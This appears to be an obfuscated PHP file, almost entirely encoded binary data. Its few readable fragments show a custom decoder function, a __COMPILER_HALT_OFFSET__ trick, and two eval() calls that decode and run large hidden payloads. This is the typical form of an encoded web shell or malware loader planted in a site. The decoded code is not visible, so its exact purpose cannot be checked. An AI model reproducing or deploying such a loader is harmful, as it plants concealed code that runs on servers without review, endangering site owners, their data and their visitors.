��������������ڥ톙�����᪺���������������Ղ��º��"}=_͐��("v\"�.@;�;h�")xor/*c�*/${"h���ܵ�������í���غ�Ȑ����Ƭ����������ü�
ǔ���������Ո�Ν����ᵌ��������������ܮ������ց�������颈ˢ��ֈ�����ф���������������޾��������ڃ������א�������������������˖��ܶ�غ��Ǻ�൶���Ǝ����������
���ۙ����������������������֌ԣ�ƒ�����э����ş�����۫����𔴳��������
�ʧ�ĸ�ն��������Ҙ���������������
������Է��
�����������������������������瑒�������Ĝ��
��Ǖ�	������������ʦ��	�����������䥻���Ũ���ݘ������Ԧ���������ċ��𭂯��������븜ﵥ����ƤÂټ����
����Ɛ��������󯗱���������������Ġ�����
�������ǿѢ�紒�����������ڙ�����Ҟ�������⒣�����������ך�������ɼ���ʀ���
됼�����������қ���������ǟ���������������������|��
��Ǭ�ҏ���ރ��‡��
������䠻�������������Ɇ��
�����������˙�����ɫ�����̉����󸃘�����������ᅲ�����������"}=_͐��("� �n��B�!5[�A㣉�л�&�")xor/*c�*//*�c*/$�������=__COMPILER_HALT_OFFSET__ xor/*�c*/eval(_͐��("5�f�K�>�P+��
]�G��K<(�.�6m[w����-�Ž��Q�%ϖ[N.����-�>���\"L\\�?�e��\"�6N|�.��)�5�R�CB��79s�x��mD�A�f�^�\"E/��Q7*x	B�w�r�!���y��mh]Q�!�j���MR����V�Z�H>�<--��S2#P�c�?�a��GJ#�}x���@� ‹`ǜ�2c k���:��\"V����	�z��!�B����]u�Q?��j�櫸Z��轪�6j�H���
V��.z�>�*��g?��;�q���3qM
��+��Zwm`��C��ؼ�:�\"�Pp���>�35����}a�� �p7�&o.^�!>�,E��}�ލd���Y'/ŚKs�@2*r*.�k�S
DBO�=�;��l��.(�VȌ���2DIƎ��
�r��Z�(M5���ˈ�F��Òn�
�8�u�]�4������8�B
�ԕ�j�M��!�ɢCb~+`���=�nM�����]��
�,5�
������>�&`�\"�B^��zw��C��W���}!�T+d�P͞�s���<K��1�������
�8dk�hd�@ΜG]��`����T8�_��!�μ�[���J��[�L��g��ʁ�����p>�G�n�`����>��㇮}�W�Q�Ir� \\<`����d��+1m��#�n��*��I�d)�W�B}Cݷ���<���V���+Q���}�Ѓ��y��j�K��Cj�WWƈ�M��]��I�a-��砮�@��`b�@&U��h�_�!:��\\z�R���5:i�=|�;��W����87���*	�v�
�K�'k6�s��5�	��l�#�s[,
�X�ܓ���;�FN��~t�a/׼���Kʩ`]�%�5���V�XiI�
ns�SJ�2�N�_v3��	�f�f*�Ú�p�A������C��o�7�S��s9�jb�z�;�Qآ��(�#�����n��LP&���5��-�EE
@~���iD{�kb�M�S����D��{�-Y�	����Id
�y��Ȋ���
5�-6��T�\"Y�b���bt��w-8���L��\$�/x�8#�	�R��TL#\\c+�,�87XT�7h\"�&���:���XP7~\"S�r(_u�D���^���YjD�8*V2�W-d��r���{�O�U��q׶�h��fRu�Sp6��
߸�b�񼒿b�'jG#t�53hh?6�����v6������`	3~>,Q�a_+�,�He�DF�)�_���\\\\ ��9վd5&��bs��Tk�Ӷ��ZG�4��Oi[4}�ֽ�0I6ԧ4u)��J��F�f�qb͚j��h���sm���k;�aoj�(WP,�VV�O1Z�]ԟ���E\"/�\"��D]P�g�AH�s�r)��J��7��� ��*a�=+����8��}�
�|��F��Hz�6��%5�#��+��d�8\$PCx�l�L<岖�Es�
�E��m��0
;	�h�>�0h[Ee��`�x����-G�)!e����Os���%�����8:�ߧ@�,H<��wa��T��Œ&���N�%�X����r'�iV�W�A'��d��V��Rx_/,r:�'�ײ3w���Cs�<�Y�.J~}t����������\\w#e���?i]��vn���Put.��	|�0/�!��b�;@u��Fq�*�—'���ֲ��t�_IJ����}(�����<#�-\$;����Pb�S��y;4Q�95����xG\\Y�k7�P�(��i���.��ӵt��W�ڹ�-�[�\\�υH�Y�&B���B���
��l��ڷ��O�P�E�{�
q�5�:v��	��ӥ�*��'�I*?/����l��I}��QCf��6�'W6�5��k��ܢ�G�>��'H�kh��@L���A-'	ݣi�V-G�Tm�hH6H�\$�
���Y0��_G�*P�����#�ub���u���/[G��o����=;(mV��7��e�̭���14T�ɀ�-���T�*�M-y��eguw�y^��<9�a��ca�B)Ύ�Ƹ	�M�oP�]�K������Tnh�b�|����x�
R�y8���I՗�#)�
��w��ĈvL*	hX�I��Oժj�U�d{�ț
�%N�@�
�MK%�C�n��Vwh��V��K�-د��q�i3��{:�U��z��#���8�́ѹ{�P�v�>\\�nx�O[{Jay��z7�Q�܁:���i��#j�M�V0�C����Y����A�'t�rF��ؒ���&O�ٱ�(D_���^��h1;\$��
�(��&���i�Z���|㶹��S��v�:Xn��H����IG�d��FGBE�«�3K�g{�R���rN�k����i��h�\"�52�N����):S�7���7�!��h�FC�F1޳����F�5:��=�%�hN���П��BZ�Q1���)r����P��V|�1f�1R�
�����@,~I{NW[�R���h
��K[w�yJ���ܰTw��۳;x�����n�2��WE[ж�:���rr������>C��(D)t�1�H��M�̱d`�����8����_t��j\\sN��_ma��.�e�~@<E��=Q+:Rc�Z��Ğ0X���1�J������B��s
#��q����,�8�����#!d, u�����b'�������V%�N̪�\"s4Kk�5�؃�c�'.����TǸ�w6#ײ\\'�;O���,��3�_�䈜�����(���
e+��2�Ƒ�ɻ�uJ�d��,����K�+E(f|߼�S3�3�5��_���.G�>���>�&x�,9��,�T�+�(��.JU���ֺty��>8VK-�I����/�	�,p�U��yS�: �R�x3l�3���/�f��I��91��na�����4�,3��FT9z=�9��\"����h���*LMxe(|�:�g��z-�<4Ї���Ro�w����5sDZ#ݻ��G\\���E��WN�h����.0��iB��ǭ���cI�<��2�[^��Ɯ�m!f��Ɲ�wK>�]�-C�!1���`ԝ}%�<�;�k�G�5�N�Bs��������W��#�m���-L\"g��}6n��F�j\"�4�����%4Z��y�y�󜏡
�:�j'���s�0D'.�o���۫��|��3�tli����+��oA��Mњt��4�<�laxܥ�l�kS0��37���OEm�f�	���8�\"!.���9.�M�Yc��i���o&��`�t���!�)�'B�^>���̣rQǜjцd�3��v�>9�(qÖ����#@�t!��Y(53`5����ؔ�i�+��^�hCh{��pB���H���M
7�,K�q�o�b�%*d~�ω��h�q���q/z���Uu�����9o˹��RLg[E\\�W�;����#�ń���+��HD2�r�q1��`��No�1V�wq8��\\
LE,�#W|M����Y����=��'��
���{�25���ɖ0��5�	�PD{�e����2�{��.��TyX8�tzxMwDu&�(Af�!�𔐰����j�_��F���ʜ�Ջ-�*�5�1�d��1�
���u�߂�
�):<���;eK�&\"&�32���W�25YU�H����x�ģ��\$��_�()��3\\�؞�QA��\"dHb\"����C�(��7�-K�n�9�,��[�O4&&�6�B�8�#>h:3Sc����Sh4~�~G
���E5C\"�!��BN��;�A��qa	��)��*`����w^�����V���>��z�hH:�Zj)���*钴���v>�
(vS���N��=�n�DE������d�!�B�Gr��l%~�Z�Lօ�?+�G�3�9>�]�+D�A�X��e�|\"	��N��j��J@'��5��i8{��� �C���K��NICi�+-��vSڐ��l�O����>���.�]|� .v^��mrm��pb�?���e��~�cr�f	�F�&<����!V�ص@��`}�A��e{mv�j���?bi��.�������h́�6S#���~v�9~5ܞ_��R�L�O���K���6�.\",�H�V�����E]fD��� ���9�C�p��;r�þU�#X�;�`��ƭ��0�u�1 �y���>&O��\\�w\\�{��a=M-!x75� �ك�P79���L�r��؄��9�*S�&a�ǞZ}ѩ\"_	0ؙ�L�]� ����B67�1.��3K�
�J�D��5���� ��.W]��G�e�(��<����#�7v
;�4(��?z�&C�H7�KZ��1�ؠ�����%�[-��of�ɽp8�:�\$��Em�|�h�J\\�Նl�ߖ�0㼼�u%�Vޝ_�>�����@ub�Y3���:�.�A3,��!7~�.qd���UE5�@,}��:{�d�l� �SQB�U���k��7\\���b�F�wJ
���&:}��搚'��x���\"J����ڵ�Xϊ�d0�۔��rge�]���B�˧���k�5�Z\"�Xm)��釈x%�����������-	�5B��ֺ��G�������8��_N��YO.��鍲{M�����?ljg�o#�!�!P���ne�7h�-�C:s ��o�SB�ҋ�̙�^I�0��C�������{5z�:��ڼ������lj7��.�=ckZ�x�����^e�~����:�:Ɋjm�aKn��v�U9JX�B��G�>(�����:wb�;��N�p��m��\".+M#��S�?C�ݶ��g
���}�+�O\$�kwr.Y�)d���\$�)ܷ�[��0Y4��0�O��'z(�X�}`g�CE�\$�CZc�δ��y=#�]��a�0Yvz{,�ڎ-~E����쁤.}�	x��zNx�M?�X�ԕ�\\�qj�A�)�g*Y��t�9^��ׅU�\\���!��R�(��U�,�5,�5����l9XM�b9��>�J*0����\\`/��b/Q�	}��m�ƽ�h+����G�=�^ݫb�MIp��sTO�
Ŷ-#��8�|��%v9깾��N� mG���k[ōÀ���i8��ޙ�+j����	4�׍0�����w�Mqo���̓��h�o��w���_�ub�'��t4�Nf9����wu���&�ߕ`n�3
\"gt��n)�l��'���~��C�؄�Ц���G��4�c-��,���Zj�C,��j:^�mw巅�G���}X�˶�C��3#6
�����hWr�QZ�?< ���N��
Nx��1�'���H`G�j;�V�4Ԅ�|}/auN��ڍ:��aG{8pwMx��Z�&�#��9t]�^Ċ�p��0<	�)U��n�K�{G�b
�~����D�i��>�anSK9bn���5oE�/����t洦{
&Db胬��R��T��NI�‡򖪰�5;
o�~�F����\$�
�gw�`\"06����
/�����y�)I���7[%OUsV�����{��y�x��ܬ(|�� 5˶#���(8ΌdC����0j��!t���I�*_ݯ;MP��M��
��s�j�e�A�7��c��E�7J6�Q�'��-[b��1���\\�'B�ǽy
�2ž6��v��2U��~B2q�B�\$d����S�R���.��9�Jɨ߮\"�b�����X��m>�/����d��0�EG���@���� QV���ľ�O��_��{�.��ו�GK���8pH;k���l��\\Ca��Ij�?c��<�Xm��J��t񃞈u`�~�-��?�ͬ��؋lT�cVi<)�F�b����
� w����o�@����
�
�\"����X�8/�'5���G*1�Zu�K��߭l���h�/d���ec?�:�„“�vm3w�,<��}�i[hR�R�S��%�\"p��jC�!���)Z����^�J�|dQsR�u��o�\"�T���vn�>��y����kx�V�ή�z��c�/��؉O+���B_�JWa�R��UQ�Е�����j\"9���~���Wa���X�KW���5I�gy��O�WT��!Y��|aB���rI��c9����֚×���2Ť/&Fp뎳���h�=,17G���Fkg;]B`7�d�G����

��ӄ��ꎝX�Cjz@K�p�?�ʱͯ���s
6��?�O~OW��ݤ9_]Y�O���h�(��v���
�O���T��K����l3����h]9���Ց��;X�״A#�j{�>`�S}I��YX�0'�8hq�d�J�X�]M�~����p�(���/��o�+�){�Y�1c�)tt�]!4[��i�_K�m�i^36Y��Z��FHÔ�^��p�d��N?ԙ\"��ޫ��/n�JT�/&O@������2ϻE���Ɇ�����r����� {��K�U�V�<��k�u6��Д{b�k-��Lm9Y;(��uSF|I�l����*������Fj8S���[.�������R�>8���\"pߧP�WF2a���h����l�<��M�id�%�B	*�K!	W&ca_�<	��D`8��'2;)&h�R,nZ��v{@���kJ/���d.��?}�:�ND��\"�lN-�9W�*F:F0u���]�B�m��Y��F�^a������)���L	�8�l��4����M�C�H��}ĠA�)qF:n�U���-��!Vv��R�U����J2��M��@W��WQ�N����,����Q�櫅.����#ᑪu5�@�+㘽��}��d���v�͹P���K-�N�X�3��r?ߏW���;�����*/��g���*h�I]q7��-���O���D"))xor/*�c*/eval(_͐��("�S�\"��\\�w�Il� ���Jz��
�Fٷu�(��^}��h�9cN����6��U
޻�U��H��f����SϹ
�xij�����~H!�S����*�\$J�9���28X��c�
�	�~/E��I��5x_��5;��?�{��\"Vz�\$_�7D� �k�1��Ycf����f�޷�f�KL(qo���+���zE߅�[�ܷ��Z�:�c���;�@�WV3U�/�L���K�*>��VY�Ҽ���#|+Y!�(��	N7W��<�!��nsͽu��%��)�}2Ȁ+�v5&w�lѤ�0�}L,��m���4`&�U͠��C\$T`��Ƹv �}�k��fX*�����텹'�v�	�y^V����&��]�򣙢[��vx,(G{K:�Ȓ�mX7�.\$!�q!����*p�:��L��50�E���U!���V��SK��N��FvV0rjY>�`8�d��UKJ�j.����,�Ř�u�9\\�����H�.�̕��1/S^@=�5��ǩ��D��7��C��O��V����Sh��W���@��d�)`�x�i�Ȓ	YPa������ед�

�\$�z;�=�^��[~�z�
��J��p�~o�m����N\",}��qi �6q�^���uȯNB2�0T�V#���V)}��)�������xs�t��.�1K+H�Zv�䛫��#�9G�*��g��R��<x1|�ީ%5���u)�q
F����YS[�fd�����5A���re��
�g��*�� �g�+�����@w��y;�M�����d��@E\\�u=*���.5{�+�֑�T!%19����e�M<yP�Ў#��m��h���C&rpM�\$���*O�˔F�eM`N���3���L�*��Cb�s�PM��.���͙fN����4oI���0�	�T|�O�Ѱ�
ѳ�C��w)13�\\�x��n�F��J���(6t	8&]����CL�&^8
@0�A��s�i��hI�>0�+3��H�Up	�s�<�c�y&-�*��
n !��f��ma���B´+hi%
�!�J�}�����4��}�P���UR���1U\\��^��R��f��kf.R�������Zc�4~R�;��k,gl�5��)9MX���Q�Kg�y�X2��Y��!�\$�}uk蓥��F�
&��A�-�Y���B�X�L!d-/��hG�7�km��*G^��!�2�Z~N`4Ly^�Y	��p{Qk�^k�G�,.�#A���Q't��7V+�Ք��PxoZC{O��Η|��oqa��jba��o�\"��~o�r��!sz�\"�U�Gr�c��~ծ������Q��>V^��e�}m���`r�\\��5�gy��w��� >��Zo[�cKe��ZC-�)�1+&a�*�'.g�O�S��2Z^�?�t�08�t˒=�����9+V��~rHGI����K��5JH�|�Eq��xv&��h3���Ҁ���9�h�c��8�C����K�DZd!��G-K�U��!�Y�>�	��!�,� �]޵p{G���BjA�:��|���n�
?FdJl�}�M�TO6<h�=��7SkS�� �ӫ�W�ھ�h�bF�� Qf���l�
�԰�=�l���ӝO����U�f�d ج7�G��?�0z��5\"��Dy�%K���6Hk�K���h���Y�fS�1�e�^`�����tN1���↯[��Pe8��ݗ�f�m��Y�A������Ƈb͌�Si'�;��bi�(��b�ݯ��,y��9'&���8��X��O�[rB����Ȑ+b�H��x�!)	�3g\"'��I�4�Z/>�Em43ɳ.\\�b\",�ݔ���S~GU�DZ=��u��J�Y��|s�2���#�p!�!\\I[TN���JF.�v�l���3��Sw�6t� ���|P�e����P�7�/�d���)�jw�3�MJ��\$��#�E����N��]��-=r����Á(e/��</��^��,���p�����R��(;�����TIбQ��9-�J��x�/5�g��}4�y�F�N�_�XJ�CFH�9��W���C~8!�8\\n4�&摯ι��\\m����-�7��g��p�+uq�Sk~\$	��v�o�E@f�~ժ�M}�)
��w��dx�Py�	3��W���3A�?0���o������;�N�sjœu�y���PF�2�g�U��(E�����+�YXյJF�¥GF�1�T����8����T���T����B���4f��9VJB&,m]
���7��x��m#�FR):�it�贊���<��t���Ke��j�+{��.3�7��\"X>ȥ�e9�a6K�����.W
|���P��q�3X-�V�p�@d	k 棍��D�U�~������7����w�5%\"Td�Ƣ9�v�P�a���om��t���P�L{�j�ū��h;K��ǍG�y\$*-���Q�d�#��-�H�)α�,G,�q�a�zWX����C�4�׽�r@	u�%iզ��	�_U��V	Kce�3㯍�`#?OҚ���������/��ݥoxF�[J�w��	P�<��]�B���MYZ4��Z����Aw�?Q_��s��&���/�8WR=�g��5j��Wa2��*��
��x�6�?���u[5ʾ3�}��{�p�	�ۢ�1�]�O	u��Bܨ(
X ���X��ya�f���o�vW�\$,q.�Z���Z�[��&P^��<�P�g��a����m�_��jA����2��E�d�-\$����ľ��F�[��55У��Xhy���X�
���j�MAq[*m�i�A�Fz�=s�
�ͪ�=�b=�7.֌~	)�@��BpdN9��pK��SHYtx+��j��Y\"1��V�:*���?7zD�@�C��}�djym-��XW_�{�k;��ޏ�{��]��M�P�d&B[�,Eh#���
EK��vV��}�(��
L�>�܏��+���K�n���
(��mb\\I�ƃe8p��r?��w���{��n�t�_H�(*^ѐ�&
�Yh8'>�����6,):u�MĶ��Q�o���*S�a5E)Q�#�w�����2�yZc��l�|�נɚhxS�-3D��3]ϙT
�.gӠ�`>/r��H^!ae�\"�Ud`�V(�q13��/�%�?�|8ܛӃ��G^)�1GD���5ۛy�`xu[�Ǧb�}���ڌ�;.K��Kg<�E���936��t�R�8�ؐ���*5�p��Y#S�ez��S3&*�Evf�T�\\��WF��O���r�/��T�,8Jim�y���i�*������)2��n#�����[̵�S0S��~sϒ�v`k�vP�X�>�(���!�̢Ѳ��Z�������I���,nk��w�BD'���6:�gy���̜Bz}a�������jy?�p��#XI(�s�	��	���;2�M���]�f��(xo�0�P70���Sdd��
��?��d6ؑ�������BU����D!t�����'����號\$DR^C�*E���,�wS1�fL��uGX_��\$�y�;���;��X��g��
|o�]�T�G����K��\$��ՋТ�P��<Ƹջ�2��d����=ٚ'G��	���/��
8��a4Y�_<QQ��x�x�f���L;�A#��@h���<���]�'������Y��9�����K�r ��ٰQ�i�D�yc�fhL����XH�?���T>PJ�m<>\" <=/�1B�=!EP֡6+C�r�U\"�
h�6��#EҸ�̢��%	��7\"����:�b�G:慪�.�R>���S�CVp�0FJR�@~�5y�
T����#j��r}��}�%�+��a�F\$�k
d��+A �3�4��,��D� �1a\\.�fᏘ����.y�9^������վx^�'�+�W��*�G��ʥs�Hv�ѡ��c��hurw��`����]��\$��]�I��ByV�	r�_�2�v�OӦ�}��d�xB�{ؒ��[��S`�럘�oW��a\$�,*7p�-fDa�ꄹ=ŁL*�Ϳ�S��W����5h�P�6�k�ƎZoӪ�j#H�32*�����8F�<��p�I�c\\���Fi����v����z��{k��4Sl�#
�<(sxLNm�1(���@���Ύ�=]U ��R�S�(Œ2��+4�9j���O�lgb8	Yw�&R)����=�˞H�0X��'��Х���HE�\"�[�+4��Qk���jN1q�J�[��C�3����;���7���I%G}��|f�`��6A�?#��ښ5��]�vj�F��gK-&5�ef;�ީ�3�fu��'C�.�#��*I�8�M4~��(���Z6�@�~���.��@��}l>�l���K\$WH���?�.@�4��_H�#J�.\\Nj�B�����\$�|U�a�Z���<y&w�BϏ������,��3�#�)�X��K�L�ڥ�7i&U��ףM���`��4]Yڿ���2M��V���H�mg�9O�w��<��6 \\�+19Z��zb}<]�1��+����G��yY��:�Ȇ�
7��t�ɞ4��CὟ�����5�����(�E<��e�\"Vz���;;6���C�� ���!����dh\$��RZe�-W1%u���u݂�/�	G_��~Z`\"�0K�b ��j J�Ri���[ �9ʦ�5��كEZ���2�(R��z��I���ARGyu2ݒ3�������Y�;�򊒔�����!�l�	-Tu������P�U!o	�����
�IN<��9��度�#��0�h9��j���7�SF���\"#w%�����c������,�@�R�c.��gF��&�C(m�쵱h�
Ot�/�mW�r\\s�wW��ϚA�z��U�ܥ{Xf?��U��z�F�fE�~v�3+ae�nR��\$��Ώ�'�S��x?�)��JFS�������7��9Ov����X�(?0��-�)��\$�N;��)Z�QzB��/�^׼K�:�1�ބ��
f�Z�\\����:X_�4�3��g�C�L�٫�������o�jRY#��Ӑ�S��dƍ4s'xe��VLEB�l��M��m蛾aZ����h��������0UV	�p�8����酂�V�2����A���\"�PUk־o��t?}w��LD�C!`^�>m��
|D����@�-h V��^�j@��\\�Lx�}�2{c�,U�?S��7��Lv��J�_5���#�ZUҚ,�*�Q���~��H4>�ڝ�6����}dD��5F�g�۩��d�6�i%���/�-�Ϡׅ�#��	��bg���(��A�~\\�N��U����#�/��v��O�]��B�t���b�^?7G�~'���,-?G��2�)-�)|���`\"\"/����~��@�L����x��}w�b(^\$ƞ�+��F[za_����r8���V[�gL�K�� '������0��H�7�Tޮ-�ѝuܹ����8Af�b\\i㦍LN)l���VЂ7�Ԏf��{jq�\"(��v�|Y�:n�+N�EN�*�eUr�
B�m�{>�a�|Z�6	!>���Y]��ml����h��	~�1
Օ�yWR�N,sl�<��1��B�� ���,t����1�,�8=B���'MPQC@F���<O�,��D�\"\\�>\$%�ؙ�!�y}
7(pe�?��-�NS�O��>��@��VwfӎK���dy��w
%��A6߼H\"&�ܲ�~�������S�˂#��h/����8(����/�ݔ��b��e;���းv:�&�x|���.��;!!�\"ΏN �
�꠽�z
�E@���6JFy~�a��/������v�Hb2�=��L��k���;
T�\$���@�t����.���	h+d�j8��
�:v|=ůo�H�X�X��h�8P���@#����A�܅���}	�6�3F�#jI�v?��Q�D�uJ�z´�ga2�(�9Z1Ϝdh�]��i��Y���p!�`��H���AQ7X,v��1[�� oN
\$H����s������N�Sh\\lQz+�.�Ɤ�LZo�ŵ��[��DM浡�X�;ͅ�����e4���s�9elӔ�j������3���>v�˵�������Cr�h�Q
N#G��ya?�?&���G��m����aG�uO��/E}<&S)8ۊ��v�,��U�A�o1��y\"%�9>\"lL
���D����PqO�fܚ�dп�����X���d�%�Ue3j���Ol� ����]j��;�i/�Kq�(��2��(�u��8��E����\$��|#��28ۨ;����Ӷ��!t5yIw��S@\$�]�}�]�pM�1�o���se��%�D��>��B-b���b��{�L����@�z�{�_;9�\$4e�����q�6�Q\"��K�#��A�{*Ɏ0�����*Mj�4�^^�A~��t�n���SڇfL7��r1綩��)D�:T{9U��w��Y2�t���!r��;�~�/ȩD2���Sv��+g8<��<~��D'ІV��z��*�_���E�6��~ݰ�va0�B����
J��u�r�R&������Z �늆�끍��	7�uF�<�j~>�J��%��Ֆ�;���n�O	}���暴���c����FQ21]����\\�_�̏�S��̦IU��-�ۣk<u�N���,u���^�ǭG�it���H�t*�R��f\\�fpo�<�_[@/��߲c��5��B�H&6iZ�Yu�,c�K*@ݒ(»u����\\��VEX
��\\��(WE'	gG�Ds\\v����o����b���}F!��T`}����n�j��`�_mt7�D�2h��bTDTo)jÞ0�\"�
�l�x!�Q3���,�_�G�h��ls�Ǟ*pKܳ����fy7���_����1._�w�f�e��S�znKq����R�1+�|L�-��|Ai�m;5L�W�s�V��q�JO�
�b(����*R��f��r�?86��N�w^N������(�F�p�Vң�o�x���Z�Y�
w�@�8VX�Ѥ;7�,z����耲�,��j�����ek8���I�u:�b��۹\\*Ht��+]�N�I\$X�7�KG���i��m��4�wF�;ayhT���G�h�������^S�l���NN)�F7�˗ON��M�_���D`��i�v%c�O8�HI%�H�jH�L���z�rӭΤ<ۍ�\\�G��\$�Sp�h�L� mloQ�R^����ȼ�x�xh���z�S@��u��fp�xqH��������|\\�9�|���÷_2��b��x��w��F
s��bk
�l�m*��/�>��@��3cO\$�ٌ:�@�tDN�V�9�ɍ\$�?�o��_��S��f��F�p]]��K��b9�|
�ڌ�R��=��kɇw�X�,-�Ƹ����O�	�%c��A�����^e��LoUvB��ʼ;���~����0�̪�Rhr�FV�~�.�I2sm\\P��Ϡh
������M����3w�(�`��\"��J�^{qӴ�0+<a�ٰ�b5�C����A� h�{�~<],g���d+X��R�Tg�Q�BW&�������y<�}�>r��h����rAs�7�%����
�l@@�t�f[����
���Ln�{od�I�g��bt���r4�%g m�5�q90�NTl���T���p3�1�h-����ާ{�԰�+���vZ�M���BY�>�jb��\\~�zd��C����a(\$�}^4�y!;�8䏻�چ��6.�y���<N��Od�H��N���@uF��(*}��
�)�~�w9���܂�O%>Oz���_���V���=��D�C�&�06H�Z�
��K��
}r9�l�7�#�/�ި�a����Unj�
���WQ/�����x�۟RM%�,9�!D�ê�l!k��f�Z�*_�:i��uDrB��@��9��/�wA0e��v�]�(�|8
L���`n�™j�7�Rx\"tWK��P�v6&�G�*�\\1���J6�E�fQ#�:slt�k+r.zft���1���=X	����ǹ��,#m����đ�_0�bB���v����{,s~��{��q2��q����8��e��r�q��)xE΁XF�F?�iw�kK �y�g1�&6��{_|�fV1_Y3����3�F�C�2dYSVG\"�`��E�A0|M.
��ǒ��+�h�2�[\"Z����>�P�\\������j�SѢ�:�g��4�����
�/w��ٛ`6�#��!��%W������t�Q��J9T�,S/��#�8��;�XJ�/����1������`�P��sh�	�s	��c�o:H1y)(w�h�n�
�6�@���ˇ�/kz��3{�ߛ�H��G�
�Q��۶:�R����kV��;}a\\ �5�K�q
p�'��LT�!
yR��z�,�gZ�C��[�wxg�5O<���Ξ	�o\$�sY���~2�J���
����F\$K��Љ�[�+�O-��x��܍�0!���\"YF5h�}io3qI�}E^�XqOݐ��{D�</��h�[y}����x���v�A�+[DmϮс� !]?Q�\$a�l�a����|�!*��2�W��������<v\")	>��n�Р���L��+F�,G̘Ѳ�A2\\\\������ĕU=SH�త|xc�#�Vf�};���Q�
��A˷�l��S4��1ծҌ�MI͋K�7�y�6�M*\"c�	N�D%,�c��P%�Q���W2\$NI�MYà�PM���
]-,D�}Ә���&�#
����[�}֪Cq��m� ��C�V�qt���yy��L�IF�7��+d��^c��\"�:3T_�z*�-����s�����R.S�qs�{ԡF�Z�+�����}�ؔ,W�%�X|L�s(���4�7�`�UIQ�_⿁Ɏq2��sƟ���w]����W䬹{%q���
���8l��gJ�b��/�|Ύ<�c�ǁH7��D��0��e��Ʃ�7L@���M�{���Ț�/4�3����~q���F�zS�O^��ا^�u�Qw���I4����_�b�f:��9�a��Q�����7��@+E
�����ƕc�rM��3�Y���qkB�nB��9E��(Z>2
��9.*J�0w���{�H���˰s��r��{�;a���br�1Qs(�^��Gj��h��P��
=�\"�u�s���f2ћ��;?�����It�ѻ~NF�:�]Sw[���d���a�[-���}��*�u�s&
2S#/r4;�~{�a
��q�<}<Ҥ�x
z�%{6�%��,���
�����x� �^�X��͖�	�%�`X����5M6�-����雲Z��*���е��v��Op7R��燪VS���,�e��R<l��&�5
yط�簓�f����/)�A?�n�q��)�B�RQ�7�{��,AƘ}�=΢�kP�Fs��
����e��n��f((~L�@D �_�(��a��b����F;�� ��~k�e�j�Op�a��Hő�~�H��ް�<Үia�a��u?
�S�v�,���:5Aɍ��nڎ�����o��1YEB�S+gF��N�6aR9�茦�L�^`�e�r�m�ّw)��PHeP�[��I���P�C�!�i��1[���y�5�a�h��=V3؛q_R�!K���&��\\��ё9��=扟�N�nP�Xo���I�&�û��t��JO�9c�Gf)~n���p�Ŧ\$՘��g�P-Y�z=�V�q�#2���:r�C������38���%>���g ����<�W�����n��Fst��
��\"�~��F?�<\$���\$���%	�FZ^a���!W�d���a��3b]LyWA'�\"�t�?ՙU���d��ϗ(�*X�����/[�X�,^�F�� �F�)5���_*�cY��Ѳ[���?�]�ލ���ߔ,���r��L���ϴ7�6Eg�Y��������g�-��N�LPi
E��H��'�1k�h�4��R��-s1����^>9vۺ�;V��0J����F^�¦'5�D�{����&���%w�࠮L�E��c�yb���S��b:��H��,�2��厰�9vD���`1�%7Byxd�;��&uɘs��*-#�JYE�'�G�?�i�#�I�6C6�lV�!����ǹ�d%0��a޳����l�X�xUc�kW��M�}��������d��e����V�ur`��_|��k Ӆ�l�yXh�\$��WU��A_A���Dc^�z�;��R>EV8�O�ТvW*���+�O,ͅ�Ť��·���4Q�k�ޟ�J�����Q`>'&���w� ��h'q�^TT�EmE~e���T���̃��-s<!�;
���N�r�+�ie���,+
&ypKp��S�nK����E讎��Yb�]To7]�%̀�R���e���xba�P����\"g�yi���?��sNZ*��wtٿ���@�83u?ӖM(�=���)�'�|*i��;\\�T*�+o�����GP �<^��!~J�[��}p%d;�޲Y�I�L����N>��=���Z�em�^h�
��!�^q�h�H*-s��p�]�|��_�ӝg&��<�L�lV�s&N��G����\"�j�_x�u\$Iߘ�n�>H#b\$�K?��yb���w�ׄz�=WYk���	����n� �y�
�rh����Oh���\$���XΊp>�����I��dQV�Z�𲤅p@���/�B*/L�R�:Zkz��otonN�uG
Anx7��s�%/��������L��6m�Y\"���K�۝M�ڏ�s��1鸩��sս�2J);�S䏼A@��6Dm֗��j�dv��/u��^�p�_��@0�_^��Y��>�9��=[�n2���-d�\"o��
j@�j|����h-e=�4��^p�}^�L�B=u���\"���@��a�p�	����pW�MN���QEhM�Dt}�_�s�IZ�ӈ�L�&���rn�Ĕ�3w��V���By�b`!���#~���h��|]��2���+[%WKrgB��z��N�̇L��9U�C&�flt���e���'�s��1q�5EL-��U�j����)wbB���	�f��W�x#�SXqB���i������
jŻ ����{��G;@� 
�tj6��H�U����JN��AN&‹ch�N�@��9�W�R���h��l��,�ZWX�qZ1Ͷ|��߻mpE��)��(4؞!\"�OV��ȃ�J�R�|�]���LQ�P�����N�_j_�àK:h���6I�\$���+*�4�L��R�P�����H3%��n+�N�i���7�>0�R�\\��L,�	���<[��ߋ(lb\$����?�7�_D�͆3����}�h������x�^�gv�=�3�z�\$�C��^���>}�_;p\\�ƯT��ܯY㍨m}U�\"J��<�40�pny�p�lq�\$Acv��L?����j�~b�x\"�6%En�ӎ�
���8–wo��שaF^��Ԯ�c���V��y((=��M;ym%�Ӌ��o�V~iR\"��q�qެ�3N|�a�3s�!w�TS�o���=?����4.�v�����=aQ�^�|�G���e;Z�Th������G�z��`Axg;�5W�y�������\\��;{_^�|3�7O�yv�Ҡ�O��7��ұ-��v9ǺJ��)���5A{�E��hR�I ��Y�xコ�ߺ�vA%�:m_�'��pS��Ѣ؟�)�2zM�'Iȏ��l}F
Djp�{��b[� B�ɇ�S
�^������X��q���j�\"�\"?����
T�T������t�ݲ~7�uN��SԴH/#�����v�,��6f8Eϕ�.�@�3gv̫GN��+!cӃ��ne�)���s�:�f+C�S�ϳp���h-7�V�;[��c<�Jɟ��.)�ٱ�zFfk(S�\\7K,iq�g��-IlX�K.Q�����Yp直>p�%�����	#�q�^WI�wR8Y�z*�ς��;4 *(���ֲ#�['��	���a�z�g��/�|��]�x8j���np1�(��h�t��o���W`� à��_�&K\$p�l���\"��
����U�|E�'���,��#�S�����2 FX�ӴD��;�O��;�
#7���Hx(X�ǁRj��ǵ���ɻ��\$�����b�[C�2���&�
